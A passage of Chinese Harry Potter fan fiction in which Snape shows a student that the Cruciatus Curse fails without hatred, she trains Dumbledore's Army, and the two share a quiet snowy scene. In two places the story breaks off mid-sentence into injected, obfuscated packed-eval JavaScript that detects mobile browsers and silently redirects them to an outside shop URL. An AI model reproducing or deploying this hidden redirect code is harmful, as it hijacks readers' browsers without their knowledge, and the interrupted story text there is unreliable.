她深呼吸一口,好像在酝酿着什么难以启齿的事一样,干巴巴地开口道:“卡罗让学生互相施黑魔法。纳威拒绝使用钻心咒,结果被惩罚了……” 斯内普的动作顿了一下,继而露出了一点冷笑:“卡罗,真的愚蠢得可以。” “什么意思?”她问道。 迎着蕾雅询问的视线,斯内普将坩埚的火焰调整得弱了些,而后转过身面对着她,说道:“现在拿起你的魔杖,对我使用钻心咒。” 蕾雅浑身一颤,吓得差点将手里的小刀扔了出去。好不容易稳住手里的刀刃,她惊愕地抬头看斯内普那张神秘的脸:“校长,您在说什么呀?!” 斯内普挑着眉毛,眼睛里流露出细微的玩味:“试试。” “呃……”她不为所动呆站着。 “快点。”他催促道,变得不耐烦的脸上写满不可违抗。 蕾雅犹豫地抽出魔杖,试图克服手里的颤抖抬起来,却又迅速地垂了下去。她怔怔地盯着他,呢喃道:“先生……我不能,我做不到。” 斯内普扯了扯嘴角,探出左手扶起她发抖的右手腕,将那根灰白色的魔杖直接抵在自己的左胸口上,声音低沉到如同地底深处的轰鸣般命令着:“别浪费时间。” 就在这时,蕾雅背脊发麻,终于意识到斯内普并没有在开玩笑。 午后的阳光轻柔地笼罩着两人,宛如一层朦胧幻美的薄纱。她被暖光浸得湿润的绿眸里,流露着不忍心和难以置信。而正对着她的斯内普,幽深如夜的黑眸里,似乎带着一种让她信任他的坚定暗示。 蕾雅明白了,他要她这么做,必然是相信她不会真的伤害到他。 她闭上眼睛,小声地挣扎着念道:“……钻心剜骨。” 手忍不住哆嗦起来了。一股砭骨寒凉到让她自己都打颤的魔力从她胸口涌出,沿着她的魔杖流了过去,好像溅开在面前人的身上。 “很好,睁开眼睛,看着我。” 她缓缓掀开眼皮,发现斯内普跟之前一样站在那里,看起来丝毫没有受到任何魔咒的影响。 斯内普将她的手放开,掂起自己的魔杖,稍稍指向她,薄唇上扬着,抑扬顿挫的语调像是旋律:“钻心剜骨。” 蕾雅的瞳孔骤然放大,心里已经准备迎接跟那晚一样的撕裂痛苦。 但事实却是什么也没有发生。 只有高窗之外传来阵阵慵懒无力的鸟鸣和随风聒噪的树叶响声告诉她时间没有静止。 “诶?!”她困惑地望向斯内普,满眼疑问。 斯内普平静地放下魔杖,瞥了她一眼:“告诉我,三大不可饶恕咒的施展条件。这是四年级的基础知识。” 蕾雅收起魔杖,略略思考数秒,顿悟般脱口而出:“施展黑魔法不仅需要强大的魔力,还需要对目标抱有极度的恨意,以及真心想要伤害他人的觉悟。” “不错,这也是为什么当时波特没有对我施展成功,他的觉悟不够。”斯内普转回身去继续之前的工作,将她准备好的材料慢悠悠地扔进坩埚里,平淡地解释道:“这三个条件缺一不可。也就是说,先不论你们参差不齐的可笑魔法水平,就是‘强烈的恨意’这点,大部分学生都满足不了。” “是这样啊!所以我们不用特意拒绝去施展咒语,反正不会成功的!”蕾雅惊呼一声,刚才紧绷的身体也立即变得轻松愉快,可是旋即,她又担忧了起来:“那他们会不会因为无法成功实施咒语而责罚我们?” “也许会,这也是我为什么让你将这些药带出去。”斯内普答道。他轻蔑地眯起眼睛,扯出一个同样不屑的笑容接着说:“但两个蠢货很快就会发现,重来一百次都不会成功。因为,这是你们跟食死徒之间的根本区别。” “梅林!……”蕾雅被这句话引得双眼猛地氤氲起来。心里盘踞半晌的磐石就这样被斯内普轻淡地破碎,那底下早压抑住的许多情绪蓦地闯了出来。 他怎能,只是用了短短十几分钟,就轻而易举地将她一直担心的事全部都解开了? 他为什么— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13639274|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —这么—— “先生!”蕾雅几乎没有任何迟疑,急促地喊了一声。她的鼻子一阵发酸,轻轻放下手中的所有材料,再也无法抑制地转向他:“您……” “……?”斯内普疑惑地侧过头。 下一个瞬间,斯内普僵住了。 他震惊地发现,自己正被一股和煦的淡香味包围。 “您真是太好了!”她将脑袋埋在他的胸前,双手用力揪住了他背后的衣袍,以带着哽咽的声音低语:“谢谢……谢谢您在我们身边。谢谢您考虑这么多,谢谢您做这一切。” 她居然抱住了他? 等等,他多久没有被人这样接触了? 或者说,曾经有过吗? 她身上那种令人安心的气息让他迷茫,温润柔软的环抱更是令他困扰。 还有那婉转悦耳的嗓音,让他心底某种从未感知过的情感悄然浮现,陌生到宛如丢失自己。 在细细沸腾着的坩埚咕哝声中,斯内普静默得如同一座伫立南极的千年冰山,但他清晰而无奈地感受到,一种细微而坚定的温暖正在悄悄渗透开那层层叠叠的冷硬外壳。 这分明才是真正的钻心剜骨咒,不然他怎会觉得本应空落落的胸腔,被那融化后的磅礴水流一点点灌满,直至他难受得窒息? “你……”斯内普怔在原地,手里的东西一股脑全部滑进坩埚里,发出几声难堪的闷响。他几乎忘记要去愤怒,低沉的话语是十分艰难着从喉间爬出来:“知道自己在做什么吗?马上放开我!” 蕾雅后知后觉地松开他,更快速地后退两步,脸颊瞬间染上大片绯红,那抹红晕映得她愈加明亮动人。她尴尬地笑了笑:“……对不起,我一时没忍住。” 斯内普恶狠狠地瞪她一眼,恢复了自我,冷冰冰地说道:“再有下次,我会毫不犹豫把你扔出去。” “记住了。”她喃喃地回答,却丝毫没觉得斯内普的威胁跟以前一样阴冷骇人。她的眼里依然闪烁着喜色,浅笑着说:“再有下次,我会自己出去的。” 斯内普再次白了她一眼,递过去一个警告的神色。她慌乱收起笑容,垂下头去切材料。 再过了漫长的一阵,两个人各自沉在药剂的制作里重新稳定住各自的情绪。 等午间休息差不多结束的时候,蕾雅才想起来本来想问他高级巫师等级考试的事。她略一斟酌,侧过脸看着他,立刻试探性开了口:“先生,我能再请求您一个事情吗?” “你的请求真是没完没了,莱恩哈特。”斯内普啧了一声,不知道这家伙又开始在打什么主意,过了一会儿才不情愿般低声道:“说。” “就是,高级巫师等级考试的事。”蕾雅停顿了一下,继续说道:“我在想,您能不能按照七年级的课程和考试标准辅导我黑魔法防御课呢?” “怎么,你新学期一节课没上,就跑来我这里求着补课?”斯内普在坩埚的烟雾里刻薄尖锐地揶揄一句。 “呃。”蕾雅小声解释:“我只是在想,我们今年肯定是不能指望在这节课上学到什么了,就像之前乌姆里奇那样。……我的意思是,您教会了我后。我可以回去教他们。毕竟哈利他们都不在了。” 她是对的。 斯内普沉默片刻,“我认为你的水平已经足够教他们了。至于考试……”他截断了话,扭过头没好气地审视着她,最终扭曲着脸同意了。 “真的很感谢您!” “别再说话,专心干活,如果你不想出医院第一节课就迟到的话。” “啊要全部做完才能走吗?” “闭嘴。” 蕾雅将三个装得满满当当的药盒搬回宿舍后,就赶着去上麦格教授和斯拉格霍恩的课。 两位教授都先在课堂上对她的勇气表示了赞许,但更着重叮嘱过大家要谨慎。斯拉格霍恩还显得格外惆怅了一阵,似乎因为一度以为自己最喜爱的学生不会再回来,终于见到蕾雅回归课堂,着实让他宽心不少。 蕾雅能清楚地感受到,教授们也在用各自的方式竭尽全力维护着霍格沃茨的学生们。他们尽力将食死徒的干扰屏蔽在课堂之外,继续讲解着即将到来的高等巫师考试。这让她觉得,教授们其实也是在向他们传递一个坚定的信念—— 这场战争一定会结束的,如往常一样的美好日子终将回来。 每个身处黑暗仍心向光明的人,都会为此而以不同的方式努力。 晚饭以后,蕾雅抱着那三箱药,拉着金妮和纳威重新坐在公共休息室的一角。 “这是邓布利多校长之前吩咐小精灵留下的药物。小精灵今天中午找到了我。”蕾雅诚恳地说着,尽量让语气听起来更可信些。 她将两个木盒子递给他们,先看向纳威:“你把这个拿给卢娜,让她放在拉文克劳的公共休息室里。”接着她转向金妮:“这个拿到赫奇帕奇的公共休息室去,可以吗?” 金妮点了点头,笑道:“可以,魁地奇让我认识不少人。” “然后……”蕾雅轻咳一声,更加认真正式地说:“关于邓布利多军的事。” “嗯。”纳威神色立即变得凝重,“你怎么看。” “我觉得你们是对的,所以,我已经在这两个箱子里放下不少你们之前用的假金币。然后——”蕾雅说着打开了搁在格兰芬多茶几上的药箱,从里面掂出三张陈旧的羊皮纸:“这些是只有特定学院学生才能读到的纸条,我们可以把招募信息附加在上面。” 她的手指接触到格兰芬多纸张的那一刻,一行文字立刻浮现而出: “邓布利多军仍在招募新兵,欢迎愿意对抗食死徒和神秘人的加入。 我们将继续教授高阶黑魔法防御术。 集合时间:见金币数字。 集合地点:” 纳威张大了嘴,眼神满是惊讶:“这太神奇了!” 金妮笑着捏了捏蕾雅的肩膀,“看来你早上说的‘反抗要聪明一点’可不是开玩笑。可是谁来教呢?哈利和赫敏都不在了。” “如果没有更好的人选的话,那就是我们了。”蕾雅左右暗示着他们:“其实我从五年级以来就一直跟着爸爸学了一些。而且你俩早就有能击退食死徒的实力,足够教其他人。” “我认为你就是个合适人选,其余的我没有意见。”纳威坚定地点点头,金妮也表示同意。 “好。”蕾雅微笑着摸了摸自己的鼻尖,继续说道:“那我们会需要一个集合地点,我还没写上去。” “还是有求必应屋?”纳威提议道,“我昨天确认过还可以用。我会再试试看能不能加上禁止卡罗兄妹进入的限制。” “行。”蕾雅抽出魔杖,敲了敲三张羊皮纸: “邓布利多军仍在招募新兵,欢迎愿意对抗食死徒和神秘人的加入。 我们将继续教授高阶黑魔法防御术。 集合时间:见金币数字。 集合地点:八楼有求必应屋。” 做完这些,她将两张看起来跟普通羊皮纸没什么两样的纸条分别塞进了两个人手里的木箱子中。 至于格兰芬多的那一张,她挥动魔杖,轻巧地将羊皮纸挑起悬在空中,然后一转手腕,就将它固定在公告栏上。 金妮抱着那个药箱站了起来,眉毛一挑,低头笑着说道:“还记得以前赫敏总说你不像个格兰芬多?” 纳威也轻笑着附和道:“她绝对是个掩饰得很好的格兰芬多,毫无疑问。” 50.心意 寒冷的时间越来越多。 萧瑟的白昼过后是更加沉寂的长夜。 而一点点堆砌着霍格沃茨大段压抑无望的日子的,是愈加复杂晦涩的七年级作业和邓布利多军的训练。 蕾雅扫了一眼图书馆的高窗之外,夜空仿佛被雾气浸润得蒙上一层苍白的熹微。她不由得把手搁在嘴边哈了口气。 今天实在是太冷了,不会是要下雪了吧? 她正在写变形术课的第二篇论文,时不时不由自主地往壁炉的方向靠近。但这个壁炉就好像只是个空有其表的装饰,除了透出几缕似乎有温度的橙黄色以外,根本没有任何的热度,也丝毫不能比得过校长室真真正正能让人暖和起来的明焰。 她哆嗦着又搓了搓手,赶在集合时间前仓促地将论文收了个尾,便把桌子上教材都整理着收进书包。 拐进塔楼,她先站在走廊的阴暗拐角观察过没有卡罗兄妹的身影。确定安全以后,蕾雅谨慎地爬上楼梯,来到八楼的有求必应屋前。 屋内已经有几个人在讨论着上次训练的内容,见到她进来,互相打了声招呼。而后,蕾雅走到一侧把书包随意地扔在地上,自己也盘着腿坐下,利索地用手腕上的橡皮筋束起头发,一边等着其他人陆续到来。 与霍格沃茨逐渐变长的黑夜相对应的,有求必应屋里的人也逐渐多了起来。有时,蕾雅粗略一数,几乎有一半的高年级学生都在这里。 开头几次的训练总是让她觉得不自在,不时会怀疑自己到底怎么会有资格在这里教授别人。然而事实证明,其他人并不是这样认为的。特别是在九月第一次训练里,她详细解释过三大不可饶恕咒的原理,互相试验过确实不会伤害到别人以后,大家对她的能力越来越信任。 也这样慢慢地,训练也逐渐变得进入正轨。最近的几次训练,在纳威和金妮的辅助下,大家都能很好地施展出无声防护咒了。 而今天,蕾雅打算讲解一些进阶的战斗技巧——当然,这都是和斯内普讨论后决定的。她确实越来越觉得,自己快成了斯内普安插在霍格沃茨里的助手。 见人到得差不多了,蕾雅站起身,屋里的人立刻悉数投来目光。 她有些腼腆地面向着各种颜色校服揉在一起的人群,摸着鼻尖扯出个礼貌的笑容,以刚好能让所有人听见的声音说道:“今天我想说说进阶的战斗技巧。虽然我们都知道‘除你武器’、‘昏昏倒地’这样的咒语在战斗里面很有用。但实际在真正运用的时候,有时候会出现正面硬刚根本不行,又或者找不到机会实施魔咒的情况。” “当然,我们总不能指望敌人一动不动站在那里等着我们施咒是不是?”她顿了顿,迎着金妮略有赞同的目光继续说道:“实战场上,状况总是千变万化,一秒的犹豫也会让敌人占到先机。所以,我们要做的当然不只是攻击,而是边防护,边攻击。在防护里制造攻击的间隙——” “比如说,纳威,你试试攻击我?”蕾雅握紧魔杖,转向站在她手侧的金发男孩。 纳威几乎没有任何犹豫,举起魔杖果断地念道:“昏昏倒地!” 刹那间,一道闪烁的白光直冲蕾雅。她淡然一笑,抬手的瞬间已生成一圈淡然的白色防护罩,轻松地将纳威的咒语挡了下来。紧接着,她脚步一转,右手一挑,纳威的魔杖即时脱手飞向天花板,发出清脆的响声。 有求必应屋里响起了一阵拍手的喝彩。 “就是这样,谢谢你,纳威。”蕾雅再次将手腕一抬,纳威的魔杖顺着她的动作掉到她的手里。她笑着递回给纳威,“你们可以看到,我抓住了防护咒生效的一瞬迅速反击。这里的关键是保持移动,不要给对方喘息的机会,同时预判对方的反应,及时作出攻击。” “梅林——”不知是谁小声惊叹了一句,“她连咒语都没念。” “没错。”蕾雅没听错到底是谁在说话,只能将头大致转向那边:“虽然这本应该是六年级的内容,但它确实是最实用的。只要对方不知道你要念的咒语,他就不好判断你到底是要攻击还是要防护——当然,真正强大的巫师可以将两者兼顾得很好。” 她手里的灰白色的魔杖在空中划出一道优雅的弧线,三个战斗训练用的木人骨碌碌地滚到她的对侧。屋里的人纷纷向后退去,为她接下来的演示让出空间。蕾雅往前走一些,解释着说道:“另外,熟练的简单魔咒组合在一起,会有十分不简单的效果。这在战场上也是让人难以防范的地方。你们再往后退一些。” 人群随着她的话向后挪动数步,脸上的疑虑和期待都深了不少。 “比如说。”她以魔杖指向其中木人:“清水如泉。”话音未落,一道水柱从天花板上哗啦将木人浇湿,在地板上流下大滩水渍——“电光如雷。”——噼啪一声,空气中迅猛挣出一道炽亮的电光,瞬间击中其中一个被浸湿的木人。旋即,雷电沿着所有的水痕扩散炸开,三个木人在电火花的爆裂中剧烈抖动,一同重重倒在地上。 有几个较低年级的学生看得目瞪口呆,被这一幕震得差点忘记呼吸。 “这样子的攻击,能暂时击倒一大片敌人。请记住这一点,如果有朝一日我们被迫对上神秘人的军团,一人负责一种攻击,另一人负责另一种,互相配合。”蕾雅挥挥魔杖,将场景恢复如初,“类似的组合还有很多,比如说冰冻咒和四分五裂咒的组合,冰冻咒和烈焰咒的组合。大家可以自己发挥想象,多试试。” 她停顿了一下,视线扫过屋里的每一个人,语气变得严肃一些:“不过,接下来我们最重要的训练,并不是攻击,而是预判敌人的攻击。”蕾雅深吸口气,接着说:“也许有些人不知道,但所有的魔力在发动的那一瞬间都会产生细微的空气流动。” “观察我。”蕾雅从口袋里拿出一把香锦葵洒在地上,魔杖轻挥,一阵细微的烟在昏暗的室内闪烁着,随后就将她笼罩在一片朦胧的雾里。 整个有求必应屋静谧到连呼吸声都消失,所有人都在屏息凝神仔细盯着蕾雅的动作。良久,就在有些人开始松懈的片刻,很突然的,萦绕在蕾雅身侧的烟雾倏地变成一道细长的雾线,直直地奔向站在队伍前面的金妮。 金妮反应极快,迅速地挥动魔杖无声施展出防护咒。烟雾在触碰到淡白色的圆弧后变成几道四散溅开的白光,消散在空气中。 蕾雅微微一笑:“就是这样。但是,战斗中我们不可能真的点燃香锦葵。所以,我们必须靠自己的感知力、观察力,甚至直觉来预判对方的攻击。” 她稍稍举起手,示意大家准备:“现在,两人一组,先试试无声防御与预判攻击。如果觉得掌握了,可以开始试试在防护中做出攻击或者魔咒的组合。——还有,受伤的人记得来我这里。” 说完,蕾雅走到一旁,从书包里摸出自己的水瓶浅浅抿了一口,侧过脸就看到金妮若有所思地站在自己面前。 “快告诉我实话。”金妮眯着眼打量着她,语气里带着一丝好奇。 “什么实话?”蕾雅愣了愣,困惑地朝金妮眨着眼睛。 “那晚,邓布利多校长去世的那晚。”金妮凑到她耳边,轻声说道:“你伤了几个食死徒?” 蕾雅放下水瓶,笑着说:“我不记得了,大概四、五个?” 金妮瞪大了眼睛,惊呼道:“难怪卡罗兄妹这么提防你!你简直就是个魔法炮台,我都没想过魔法能这样用。” 蕾雅尴尬地笑了笑,推耸着金妮回去接着跟纳威进行训练。她随后也加入到训练中,不时观察着学生们的动作,不时分享些自己在预判攻击或者无声咒的实际感受。 时间在这些纷乱嘈杂的响声中一点点悄悄踱开,片刻,她感到手腕上的银环微微发热。 「现在结束」 是斯内普支开了卡罗兄妹的讯号。自从开始训练,为了不让卡罗兄妹抓住这样多的人一起离开,蕾雅不断调整训练的时间,而斯内普总是适时发出提醒,确保他们能在卡罗兄妹发现之前结束训练。 蕾雅拍了拍手,举起魔杖在空中敲出一声。室内的嘈杂动静顿时停止,只剩下几发魔杖延迟掉落在地的声响。 “今天的训练到此结束,大家赶紧回去吧。”蕾雅放下魔杖,理了理散开的头发,微微鞠了一躬,“下次训练时间会另行通知,晚安。” 当所有人都安全离开了有求必应屋后,蕾雅和金妮、纳威一起走在通往格兰芬多塔楼的长廊上。魔法烛火微微摇曳着,投下三道模糊不清的长影。伴随着他们俩交谈的回音,蕾雅时不时偷偷瞥了一眼手腕上的银环—— 「安全撤退」 「宵禁后,西边教室」 「好」 回到寝室后,蕾雅做的第一件事就是先去套上一件厚厚的毛衣。这时,刚从浴室回来的拉文德,正披散着湿漉漉的头发,打趣般说着:“这么冷吗?不去洗个热水澡?” 蕾雅从刚才来不及检查的变形术论文中抬起头,冲她苦笑一下:“还没写完呢,等写完了再去。” “你都这么优秀了!刚刚有求必应屋里可把我看呆了。”拉文德摇了摇头,走到柜子上给她倒了一杯热茶,语气诙谐:“可别变成下一个赫敏。” “哎呀,我才变不了。你不知道,实操跟论文可是有天壤之别啊!”蕾雅无奈地叫苦连连。 这可不是假话,尤其是她最近写的那些论文有一次不小心被斯内普看见了,那位一向严格优秀的巫师脸上冷嘲热讽的表情至今还让她背脊一凉。 自从赫敏离开后,寝室只剩下蕾雅和拉文德,关系也因此亲近了不少。两人有一搭没一搭地聊着天,一直等到差不多宵禁的时分,拉文德放下床幔准备睡觉了,蕾雅才装作去浴室洗澡的样子离开寝室。 俯下身躲开沙发上那两个还在玩着巫师棋的小狮子,蕾雅悄悄钻出格兰芬多公共休息室,轻手轻脚地迈向走廊西边的空教室。当她推开教室门的时候,窗边上的黑色身影已经背着手在等她。那一身静默的黑炮好像将窗外的寒夜衬得又亮白几分。 “校长。”蕾雅唤他。 斯内普转身走过来,手里向她递过一支黑色的钢笔。她略微抬起手,刚一碰到钢笔——“门托斯”,斯内普轻声念动咒语,两个人蓦地变成一团教室里诡异的旋涡,继而消失不见。 当蕾雅再睁开眼的时候,已经站在莱恩哈特家的玄关里了。 不远处的餐桌上,雷格纳早就切好女儿爱吃的芝士蛋糕,还有一小盒可口的黑莓。每个月为她准备这些东西,已然变成这位金发巫师每个月最开心的时刻。 蕾雅踢掉皮鞋,小跑过去抱住雷格纳:“爸爸!” “欢迎回来。”雷格纳笑着拥抱她,顺带朝她身后的黑发巫师递去感激的眼神,“谢谢你又带她回来,西弗勒斯。” “这没什么。”斯内普换上拖鞋,脱掉长长的外袍拿在手里,径自走向书房,“我先去处理些东西。” “好,”雷格纳点头应道,“等下我们一起吃甜点,我可能有哈利的情报。” 斯内普没有回应,但蕾雅分明注意到他的动作至少顿住了一瞬。 邓布利多还没醒过来,今天熬制的药将会是他吃下的第四副。蕾雅看得出,这位老巫师的脸色比之前一个月好不少,看上去完完全全就是个陷入睡眠的老人。斯内普也对此并不着急,好像已经预估到他的苏醒时间一样淡定。 蕾雅知道,斯内普是根据校长室挂着的邓布利多画像判断的。就在一周前,画像里的邓布利多几乎淡得不可见。而在她熬制白鲜药水的间隙,斯内普已经用一个空画框伪造了一幅邓布利多沉睡的画像。 此外,魔法部和食死徒都不断追踪着关于哈利的消息,所以每次两位男巫见面时都会分享一些情报。比如说,哈利在九月底的时候闯进魔法部,亚克斯利跟着他们幻影移形去了格里莫广场,最后导致整栋住宅被魔法部查封的事。 “我想我终于弄清楚了他们闯入魔法部的原因。”雷格纳将一杯红茶放到斯内普的手边,用眼神示意他赶紧开动白瓷盘的蛋糕,“是乌姆里奇的吊坠。她发现脖子上的吊坠是个复制品,结果把整个魔法部翻了个底朝天!” “我能想象。”斯内普平静地说着,在两人的注视下不情不愿地挖了一勺蛋糕,用红茶送了下去。等吞咽动作完成,他略一踌躇,又说道:“这么说的话……” “也许是魂器。”雷格纳接过话,掂起魔杖召来一张照片摊开在斯内普和蕾雅的面前,是乌姆里奇上任新职位的时候拍的魔法照片。她的胸前挂着一个复古高贵的挂坠盒,盒盖上隐约能分辨出一个的S字母,虽然看不出颜色,但是能分辨出上面镶满点点钻石,过分华丽。 “你有见过这个吊坠盒吗,也许是个古董。”雷格纳挑起眉毛,身体微微前倾,试探般问斯内普。 斯内普显然没想到雷格纳的情报会到这一步,整个人依旧沉在思考里面,皱着眉摇了摇头:“不,我没见过。” “好吧。”雷格纳坐了回去,“那可能得等邓布利多先生醒来后再问他了。” “可是,爸爸。”蕾雅将最后一口香甜的芝士蛋糕送入口中,“你和校长不是说过,魂器会对持有者造成诅咒影响吗?” “是。”斯内普撇她一眼应道,仍然在痛苦地消灭甜品。 “那,”蕾雅有些担忧地将小叉子搁在盘子里,歪着头:“哈利他们一直带着这个东西,不是很危险吗?魂器也并不能轻易被摧毁吧?” “是。”这次是雷格纳立即说道,“所以我们之前也有讨论过怎么帮助哈利摧毁魂器。” “格兰芬多之剑。”斯内普面无表情地说道,终于推开了堪堪吃完的空盘,“邓布利多为他们准备好了。他之前已经摧毁了至少两个魂器。” “格兰芬多之剑?”蕾雅吃惊地看向父亲。 “对,就是传说中的那把。”雷格纳扬起下颚,用手在空气里比划出剑的动作,“西弗勒斯说一直在校长室里。” “可是之前哈利明明说是从分院帽里拔出来的。”蕾雅回忆着说。 “分院帽?”斯内普讶异地冷笑一声,语调立刻变得讥讽几分:“看来邓布利多不希望我知道这件事。我只知道他想让我在合适的时机将剑送给波特。” “但问题是,他们在哪里?”蕾雅追问道。 “这正是关键所在。”两位男巫同时陷入沉思。 蕾雅见状便识趣地不再发问。她安静地将奶茶喝完,起身开始清洗碗碟。 收拾完一切后,蕾雅趁父亲还未入睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13665751|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的间隙,坐在钢琴前弹奏那些在霍格沃茨已无法奏响的乐章。也是因为最近的一个月,斯内普减少了让她帮忙熬制邓布利多的魔药。她有时候在想,他也许是有意默许她暂时从那座阴翳而危险的城堡里逃离片刻,享受这一份难得的安宁。 她思忖着他不会说出口的温柔,翻开今天的谱子,是理查德·克莱德曼的《Murmures》,梦中的鸟。旋律从她指间缓缓滑出,正如曲名,宁静到深情的音符带着一种低婉的轻柔,宛如一只无意闯入梦境的徘徊鸟儿,尽力越过一整个夜晚的层云,悄然落在他的耳侧低语。 听着她的琴声,斯内普静默着将衣袖又往上挽了几折,发现手腕已经被暖气和坩埚同样燥热的蒸汽闷出一层薄汗。他继续将稀释开的龙血流入坩埚里,随着搅拌棍的划开,黄褐色的液体逐渐转为了一种红褐色。 音乐慢慢停止的时候,斯内普正用手指捻起一小把烧灼后的凤凰羽毛粉末洒入锅中,红褐色的液面随之掀起一阵隐约的金色光泽。最后,他将熬制的火候调小,抬头来活动酸痛的脖颈,才注意到窗外悄然下起了雪。 一片片无暇的雪花从窎远的天空中飘降,被晚风吹拂在对面的屋顶上,街道上,庭院里,还有——不知什么时候站在窗外,仰望着落雪的她身上。 是下雪了。 蕾雅在合上钢琴盖的时候发现了。 她虽然讨厌阴冷的天气,但却对雪有一种特别的钟情。所以当白雪在这样无声寂静的夜晚里缓缓落下,她难以压抑住心里的惊喜。回过神来的时候,人已经不自觉地站在庭院中。 她总觉得雪是天神的使者,充满慈爱地将整个世界染成一种纯净归一的颜色,拭去混沌世间的罪。 稍稍抬头,几朵雪花轻轻吻过她的脸颊和湿润的嘴唇。伸出手去,它们又覆在她微红温暖的手掌上,一点点的寒凉碎散淌开,最后成为她体温的一部分。仿佛——她自己也被浸染成清澈的素白。 “别以为我今年还有时间给你熬提神剂,莱恩哈特。” 有一把低沉阴郁的声音从身后响起,打断了她的思绪。蕾雅还没来得及回答,就感觉到头顶上落下来一个毛茸茸的柔软东西,包裹住她。刚刚留在脸上的雪瞬间化开,眼前的视野也随之忽而变成一滩湿润昏暗的黑。 她伸出手去摸了摸,反应过来是家里沙发上搭着的毛毯。 “呃。”她掀开毯子的一角,转身望去。斯内普正站在大门前,穿着一件白衬衫,双臂交叠,脸上带着似乎有些不悦的神情。 她定定地望着他,看轻慢垂落的雪花也同样掠过他的肩膀和发间。她想开口说他不也穿得太少了吗,但声音仿佛无奈地被一团缱绻的白雾吞没。 察觉到斯内普正皱着眉头打量着自己,蕾雅把毯子扯下来,披在身上往他靠近几步,随口找了个话题岔开他的谴责:“今天的训练里大家都进步很多,特别是纳威。” “隆巴顿?”斯内普低声重复,薄唇随即微微抿住,眉心锁得很紧,仿佛陷入了某种不愿意的回忆。 蕾雅看到他的表情,就后悔自己提这个话题,心情也跟着沉重起来。她觉得斯内普应该是想起隆巴顿夫妇的事情。 她曾听到斯内普和父亲提及一些食死徒以前做的事。当初折磨隆巴顿夫妇至疯的人,就是那一晚声音尖锐的女人,贝拉特里克斯·莱斯特兰奇。 所有赏雪的情绪都在此刻退散成灰。蕾雅咬着唇朝他凑近更多,犹豫了一下,还是问道:“先生……我可以问,您当时……为什么?” “为什么?”斯内普低头应她。 蕾雅咽了咽喉咙,深吸一口气,仿佛鼓起了莫名大的勇气才敢继续道:“加入他们?” 斯内普的黑眸在漫天飘雪里闪烁一瞬,很快变成一片暗沉无光的曜石。他别过与她的对视,脸上铺开许多灰暗的悲隐。他或许永远也不会和别人谈论这些。 “呃……如果您不想……” 就在她连忙改口的时刻,斯内普却看向自己的左臂,压抑着声音冷嘲一句:“我曾以为他们能给我答案。” 我以为他们看见了我,以为那里是属于我的位置。他在心里说。 虽然无法倾听到斯内普的心声,但这句话还是在蕾雅心里拧起一阵钝痛。她即刻明白过来,原来斯内普也曾像她一样,迷茫而迫切地渴望找到答案——一种能证明自己存在的意义。 她忐忑地注视着他眼中的复杂,顺着他的眼神将目光移到他的左臂上。轻声问道:“我可以……看看吗?” 他一定不会同意的。蕾雅心里了然,但她还是试探地开口。 我一定不会同意的。斯内普心里苦涩,竭力维持着一直以来的克制。 然而,他在寒风中沉默良久,最终还是迟疑踌躇地抬起左臂,将袖口慢慢拉高,露出了那道森冷、细腻却狰狞的黑魔标记。 那漆黑的纹路像一条凶猛扭曲的蛇,紧紧缠绕盘踞着他苍白的小臂。 此时,斯内普讶异地发现自己竟没有感受到想象中的抗拒,亦或是在她面前坦白过去的罪恶感。反而,他内心溢满的是如沉静蓝海般的释然。 天气好像变得更冷,庭院逐渐被一层银装素裹的白茫笼罩起来。雪愈下愈大,几抹纷扬的白色也坠在那蜿蜒可怖的黑色纹路上。 蕾雅屏住呼吸,忍不住般怔怔地伸出手去,轻轻将那些透着微光的冰渣抹开。 “冷吗?”她问。 “不冷。”斯内普忍住升起的不适,却没有抽回手臂。因为她的指尖仍在细细地摩挲着他的皮肤,触感柔软而微凉。 “那……疼吗?”她忽而抬眼,明亮温柔的脸庞和雪幕一起撞进他的视野里。 斯内普木然地垂眼直视那双有些许困惑和浓重担忧的绿眸,轻声道:“不疼。” 蕾雅出神地点点头,终于在斯内普想起来要收回手臂的前一刻松开了他。但她很快又探出手指,稳稳按在他右手腕的银环上面。 斯内普疑惑不已,语调开始变得不耐而冷漠:“你在做什么?” “等等。”蕾雅用坚定的眼神将斯内普的话压了回去。 而后,她将他右手腕上的银手环仔细地取了下来,小心翼翼地扣在他的左手腕黑魔标记的下方,扬起下巴对他莞尔一笑,说道: “也许,这些都是答案。” “它们都是您,我都看见了。” 斯内普的身体猛地一僵,几乎是本能地向后退了两步,黑湖般深邃的瞳仁里骤然掀出圈圈涟漪。 蕾雅敏锐地捕捉到斯内普的反应,就在他将腹中的难堪变成尖锐的话喷薄而出之前,她也迅速低头把脸埋在毛毯里,更快地转身走向屋内。 “……进去吧,您需要休息。”她走得远远地,才敢对他说了句。 斯内普极力控制住情绪的波动,将面庞恢复成比这雪天还要寒凉刺骨的冰霜。 他紧绷着任自己沉在浩大的降雪里站一阵,任自己不平静的血液有足够时间冷透——任自己,能当做刚才一切都没有发生般将袖口重新扣紧。 “先生?”缩在毛毯里的蕾雅用身体抵住大门,回过头来看向他。 斯内普没有说话,迈步向前,经过她的时候顺手将她扯进室内,之后带上了门。 51.利刃 